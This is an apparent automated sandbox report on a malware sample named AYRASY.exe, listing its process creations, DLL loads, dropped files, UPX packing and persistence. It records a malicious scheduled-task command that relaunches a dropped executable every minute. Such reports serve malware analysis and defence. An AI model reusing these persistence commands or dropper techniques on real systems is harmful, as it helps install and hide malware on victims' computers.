Source: C:\Users\user\Desktop\AYRASY.exe	Process created: C:\Users\user\Desktop\._cache_AYRASY.exe "C:\Users\user\Desktop\._cache_AYRASY.exe"
Source: C:\Users\user\Desktop\AYRASY.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe "C:\Users\user\AppData\Roaming\Windata\YOABSG.exe"
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 3548
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe "C:\Users\user\AppData\Roaming\Windata\YOABSG.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe "C:\Users\user\AppData\Roaming\Windata\YOABSG.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe C:\Users\user\AppData\Roaming\Windata\YOABSG.exe
Source: C:\Users\user\Desktop\AYRASY.exe	Process created: C:\Users\user\Desktop\._cache_AYRASY.exe "C:\Users\user\Desktop\._cache_AYRASY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1	Jump to behavior

Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: propsys.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Section loaded: propsys.dll

Source: C:\Users\user\Desktop\AYRASY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: WBHUSK.lnk.2.dr

LNK file: ..\..\..\..\..\Windata\YOABSG.exe

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\qfn7FBS.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: AYRASY.exe

Static file information: File size 1750016 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: AYRASY.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x100c00

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_002E20D0 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

2_2_002E20D0

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00178D99 push edi; retn 0000h	2_2_00178D9B
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00178F0E push F7FFFFFFh; retn 0000h	2_2_00178F13
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00197795 push ecx; ret	2_2_001977A8
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009B8D99 push edi; retn 0000h	9_2_009B8D9B
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009B8F0E push F7FFFFFFh; retn 0000h	9_2_009B8F13
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009D7795 push ecx; ret	9_2_009D77A8

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	File created: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AYRASY.exe	File created: C:\ProgramData\Synaptics\RCX4413.tmp	Jump to dropped file
